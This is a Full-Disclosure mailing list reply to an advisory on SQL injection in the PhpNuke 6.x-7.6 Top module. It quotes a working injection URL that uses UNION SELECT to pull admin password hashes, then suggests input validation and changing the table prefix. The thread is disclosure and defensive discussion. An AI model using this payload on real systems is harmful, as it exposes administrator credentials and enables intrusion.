[Full-disclosure] Re: [waraxe-2005-SA#041] - Critical Sql Injection in PhpNuke 6.x-7.6 Top module

[Paul Laudanski <zx@xxxxxxxxxxxxxx>]

On 7 Apr 2005, Janek Vind wrote:
> http://localhost/nuke76/modules.php?name=Top&querylang=%20WHERE%201=2%20UNION
> %20ALL%20SELECT%201,pwd,1,1%20FROM%20nuke_authors/*
> 
> ... and as result we can see md5 hashes of all the admin passwords in place, 
> where normally
> top 10 votes can be seen :)

Again as before, code should be validating input.  But as a simple 
precaution against default GET attacks, changing the table prefix from the 
common "nuke_" to something random like "zloqf7_" would render that 
sample, and all others based on "nuke_" useless.  

Of course in the grander scheme that isn't foolproof, but does work 
against the default GETs.

-- 
Sincerely,

Paul Laudanski .. Computer Cops, LLC.
Microsoft MVP Windows-Security 2005
CastleCops(SM)... http://castlecops.com
CC Blog ......... http://blog.castlecops.com
Staff Blogs ..... http://busterbunny.castlecops.com
Our Vision ...... http://castlecops.com/postt63382.html

http://cuddlesnkisses.com http://justalittlepoke.com http://zhen-xjell.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/